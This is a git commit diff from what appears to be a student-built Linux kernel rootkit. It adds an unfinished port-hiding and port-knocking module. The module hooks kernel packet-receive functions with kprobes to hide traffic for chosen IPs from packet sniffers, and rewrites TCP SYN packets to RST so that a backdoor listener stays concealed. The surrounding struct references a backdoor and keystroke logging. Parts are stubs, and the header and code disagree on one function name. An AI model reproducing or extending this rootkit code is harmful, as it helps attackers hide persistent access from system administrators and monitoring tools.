commit faef1b6af6e15924130f9296e0f34489ba49db80
parent bee0bfad4b1de9ae0033b9128d1e86bde0101d83
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 10 Jan 2021 00:17:14 +0100
initial port knocking implementation
Diffstat:
4 files changed, 371 insertions(+), 0 deletions(-)
diff --git a/src/packhide.c b/src/packhide.c
@@ -7,6 +7,7 @@
#include <uapi/linux/ip.h>
#include <uapi/linux/ipv6.h>
#include <linux/ip.h>
+#include <linux/in.h>
#include <linux/ipv6.h>
#include "common.h"
@@ -112,6 +113,7 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
{
struct sk_buff *skb;
skb = (struct sk_buff *)pt_regs->di;
+ u8 protocol = 0;
char *data = skb_network_header(skb);
char ver = data[0];
@@ -125,6 +127,7 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
struct ipv6hdr *iphdr;
iphdr = ipv6_hdr(clone);
+ protocol = iphdr->nexthdr;
if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v6)
|| list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v6))
@@ -133,12 +136,28 @@ g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
struct iphdr *iphdr;
iphdr = ip_hdr(clone);
+ protocol = iphdr->protocol;
if (list_contains_ip(&hidden_ips, (u8 *)&iphdr->saddr, v4)
|| list_contains_ip(&hidden_ips, (u8 *)&iphdr->daddr, v4))
clone->pkt_type = PACKET_LOOPBACK;
}
+ // We need to intercept (RST) the TCP handshake
+ if (protocol == IPPROTO_TCP) {
+ struct tcphdr *tcphdr;
+
+ tcphdr = (struct tcphdr *)skb_transport_header(skb);
+ unsigned src_port = (unsigned)ntohs(tcphdr->source);
+
+ if (src_port == 8080) { // list_contains_port(...)
+ if (tcphdr->syn) {
+ tcphdr->syn = 0;
+ tcphdr->rst = 1;
+ }
+ }
+ }
+
return 0;
}
diff --git a/src/porthide.c b/src/porthide.c
@@ -0,0 +1,299 @@
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/skbuff.h>
+#include <linux/netdevice.h>
+#include <linux/inet.h>
+#include <uapi/linux/if_packet.h>
+#include <uapi/linux/ip.h>
+#include <uapi/linux/ipv6.h>
+#include <linux/ip.h>
+#include <linux/in.h>
+#include <linux/ipv6.h>
+
+#include "common.h"
+#include "hook.h"
+#include "porthide.h"
+
+lport_list_t hidden_lports = {
+ .lport = -1,
+ .knock_head = NULL,
+ .knock_tail = NULL,
+ .prev = NULL,
+ .next = NULL,
+};
+
+lport_list_t_ptr hidden_lports_tail = &hidden_lports;
+
+static int g7_packet_rcv(struct kprobe *, struct pt_regs *);
+static int g7_fault(struct kprobe *, struct pt_regs *, int);
+static void g7_post(struct kprobe *, struct pt_regs *m, unsigned long);
+
+// TODO store in array of kprobes
+static struct kprobe p_rcv = {
+ .symbol_name = "packet_rcv",
+};
+
+static struct kprobe tp_rcv = {
+ .symbol_name = "tpacket_rcv",
+};
+
+static struct kprobe p_rcv_spkt = {
+ .symbol_name = "packet_rcv_spkt",
+};
+
+void
+hide_lports(void)
+{
+ p_rcv.pre_handler = g7_packet_rcv;
+ p_rcv.post_handler = g7_post;
+ p_rcv.fault_handler = g7_fault;
+
+ tp_rcv.pre_handler = g7_packet_rcv;
+ tp_rcv.post_handler = g7_post;
+ tp_rcv.fault_handler = g7_fault;
+
+ p_rcv_spkt.pre_handler = g7_packet_rcv;
+ p_rcv_spkt.post_handler = g7_post;
+ p_rcv_spkt.fault_handler = g7_fault;
+
+ if (register_kprobe(&p_rcv))
+ DEBUG_INFO("[g7] Could not insert kprobe p_rcv\n");
+
+ if (register_kprobe(&tp_rcv))
+ DEBUG_INFO("[g7] Could not insert kprobe tp_rcv\n");
+
+ if (register_kprobe(&p_rcv_spkt))
+ DEBUG_INFO("[g7] Could not insert kprobe p_rcv_spkt\n");
+}
+
+void
+unhide_lports(void)
+{
+ unregister_kprobe(&p_rcv);
+ unregister_kprobe(&tp_rcv);
+ unregister_kprobe(&p_rcv_spkt);
+}
+
+void
+hide_lport(lport_t lport)
+{
+ /* if (!list_contains_ip(&hidden_ips, ipv6, v6)) */
+ /* add_ip_to_list(hidden_ips_tail, ipv6, v6); */
+}
+
+void
+unhide_lport(lport_t lport)
+{
+ /* remove_ip_from_list(&hidden_ips, ipv6, v6); */
+}
+
+static int
+g7_packet_rcv(struct kprobe *kp, struct pt_regs *pt_regs)
+{
+ struct sk_buff *skb;
+ skb = (struct sk_buff *)pt_regs->di;
+
+ u8 protocol = 0;
+ u8 ip[16] = {0};
+ ip_version version;
+
+ char *data = skb_network_header(skb);
+ char ver = data[0];
+
+ ver &= 0xf0;
+
+ struct sk_buff *clone = skb_clone(skb, GFP_KERNEL);
+ pt_regs->di = (long unsigned int)clone;
+
+ if ((ver == 0x60)) {
+ struct ipv6hdr *iphdr;
+
+ iphdr = ipv6_hdr(clone);
+ protocol = iphdr->nexthdr;
+ version = v6;
+ memcpy(ip, (u8 *)&iphdr->daddr, 16);
+
+ } else if ((ver == 0x40)) {
+ struct iphdr *iphdr;
+
+ iphdr = ip_hdr(clone);
+ protocol = iphdr->protocol;
+ version = v4;
+ memcpy(ip, (u8 *)&iphdr->daddr, 4);
+
+ } else
+ return 0;
+
+ // We need to intercept (RST) the TCP handshake
+ if (protocol == IPPROTO_TCP) {
+ struct tcphdr *tcphdr;
+
+ tcphdr = (struct tcphdr *)skb_transport_header(skb);
+ unsigned src_port = (unsigned)ntohs(tcphdr->source);
+
+ lport_list_t_ptr list = NULL;
+ if ((list = find_lport_in_list(&hidden_lports, src_port))) {
+ knock_list_t_ptr knocks = NULL;
+
+ if (!(knocks = find_knock_in_list(list->knock_head, ip, version)))
+ {
+
+ }
+
+ if (tcphdr->syn) {
+ tcphdr->syn = 0;
+ tcphdr->rst = 1;
+ }
+ }
+ }
+
+ return 0;
+}
+
+static void
+g7_post(struct kprobe *kp, struct pt_regs *pt_regs, unsigned long flags)
+{
+ return;
+}
+
+static int
+g7_fault(struct kprobe *kp, struct pt_regs *pt_regs, int trapnr)
+{
+ return 0;
+}
+
+void
+clear_hidden_lports(void)
+{
+ lport_list_t_ptr i = hidden_lports_tail;
+ while ((i = remove_lport_from_list(i, i->lport)));
+}
+
+bool
+list_contains_lport(lport_list_t_ptr list, lport_t lport)
+{
+ return !!find_lport_in_list(list, lport);
+}
+
+lport_list_t_ptr
+find_lport_in_list(lport_list_t_ptr head, lport_t lport)
+{
+ lport_list_t_ptr i;
+ for (i = head; i; i = i->next)
+ if (i->lport == lport)
+ return i;
+
+ return NULL;
+}
+
+lport_list_t_ptr
+add_lport_to_list(lport_list_t_ptr tail, lport_t lport)
+{
+ lport_list_t_ptr node;
+ node = (lport_list_t_ptr)kmalloc(sizeof(lport_list_t), GFP_KERNEL);
+
+ if (node) {
+ node->lport = lport;
+ node->next = NULL;
+ node->prev = tail;
+ tail->next = node;
+ hidden_lports_tail = node;
+ return node;
+ }
+
+ return NULL;
+}
+
+lport_list_t_ptr
+remove_lport_from_list(lport_list_t_ptr list, lport_t lport)
+{
+ lport_list_t_ptr i = find_lport_in_list(list, lport), ret = NULL;
+
+ if (i && (i->lport != -1)) {
+ if (i->next)
+ i->next->prev = i->prev;
+ else
+ hidden_lports_tail = i->prev ? i->prev : &hidden_lports;
+
+ if (i->prev) {
+ i->prev->next = i->next;
+ ret = i->prev;
+ }
+
+ kfree(i);
+ }
+
+ return ret;
+}
+
+void
+clear_lport_knocks(lport_list_t_ptr list)
+{
+ if (list && list->knock_tail) {
+ knock_list_t_ptr i = list->knock_tail;
+ while ((i = remove_knock_from_list(i, &list->knock_tail, i->ip, i->version)));
+ }
+}
+
+bool
+list_contains_knock(knock_list_t_ptr list, ip_t ip, ip_version version)
+{
+ return !!find_knock_in_list(list, ip, version);
+}
+
+knock_list_t_ptr
+find_knock_in_list(knock_list_t_ptr head, ip_t ip, ip_version version)
+{
+ knock_list_t_ptr i;
+ for (i = head; i; i = i->next)
+ if (!memcmp(i->ip, ip, (version == v4 ? 4 : 16))
+ && (version == -1 || i->version == version))
+ {
+ return i;
+ }
+
+ return NULL;
+}
+
+knock_list_t_ptr
+add_knock_to_list(knock_list_t_ptr *tail, ip_t ip, ip_version version)
+{
+ knock_list_t_ptr node;
+ node = (knock_list_t_ptr)kmalloc(sizeof(knock_list_t), GFP_KERNEL);
+
+ if (node) {
+ memcpy(node->ip, ip, (version == v4 ? 4 : 16));
+ node->version = version;
+ node->next = NULL;
+ node->prev = *tail;
+ (*tail)->next = node;
+ *tail = node;
+ return node;
+ }
+
+ return NULL;
+}
+
+knock_list_t_ptr
+remove_knock_from_list(knock_list_t_ptr list, knock_list_t_ptr *tail, ip_t ip, ip_version version)
+{
+ knock_list_t_ptr i = find_knock_in_list(list, ip, version), ret = NULL;
+
+ if (i && (!memcmp(i->ip, ip, (version == v4 ? 4 : 16))
+ && i->version != -1))
+ {
+ if (i->next)
+ i->next->prev = i->prev;
+ else
+ *tail = i->prev ? i->prev : list;
+
+ if (i->prev) {
+ i->prev->next = i->next;
+ ret = i->prev;
+ }
+
+ kfree(i);
+ }
+
+ return ret;
+}
diff --git a/src/porthide.h b/src/porthide.h
@@ -0,0 +1,52 @@
+#ifndef _GROUP7_PORTHIDE_H
+#define _GROUP7_PORTHIDE_H
+
+typedef enum {
+ v4,
+ v6
+} ip_version;
+
+typedef u8 ip_t[16];
+
+typedef struct knock_list *knock_list_t_ptr;
+typedef struct knock_list {
+ ip_t ip;
+ ip_version version;
+ unsigned next_lport;
+ knock_list_t_ptr prev;
+ knock_list_t_ptr next;
+} knock_list_t;
+
+typedef unsigned lport_t;
+
+typedef struct lport_list *lport_list_t_ptr;
+typedef struct lport_list {
+ lport_t lport;
+ knock_list_t_ptr knock_head;
+ knock_list_t_ptr knock_tail;
+ lport_list_t_ptr prev;
+ lport_list_t_ptr next;
+} lport_list_t;
+
+extern lport_list_t hidden_lports;
+
+void clear_lport_knocks(lport_list_t_ptr);
+void clear_hidden_lports(void);
+
+void hide_lports(void);
+void unhide_lports(void);
+
+void hide_lport(lport_t);
+void unhide_lport(lport_t);
+
+bool list_contains_lport(lport_list_t_ptr, lport_t);
+lport_list_t_ptr find_lport_in_list(lport_list_t_ptr, lport_t);
+lport_list_t_ptr add_lport_to_list(lport_list_t_ptr, lport_t);
+lport_list_t_ptr remove_lport_from_list(lport_list_t_ptr, lport_t);
+
+bool list_contains_knock(knock_list_t_ptr, ip_t, ip_version);
+knock_list_t_ptr find_knock_in_list(knock_list_t_ptr, ip_t, ip_version);
+knock_list_t_ptr add_ip_to_list(knock_list_t_ptr *, ip_t, ip_version);
+knock_list_t_ptr remove_knock_from_list(knock_list_t_ptr, knock_list_t_ptr *, ip_t, ip_version);
+
+#endif //_GROUP7_PORTHIDE_H
diff --git a/src/rootkit.h b/src/rootkit.h
@@ -17,6 +17,7 @@ typedef struct {
bool hiding_open;
bool hiding_sockets;
bool hiding_packets;
+ bool hiding_ports;
bool logging_input;
bd_state_t backdoor;
} rootkit_t;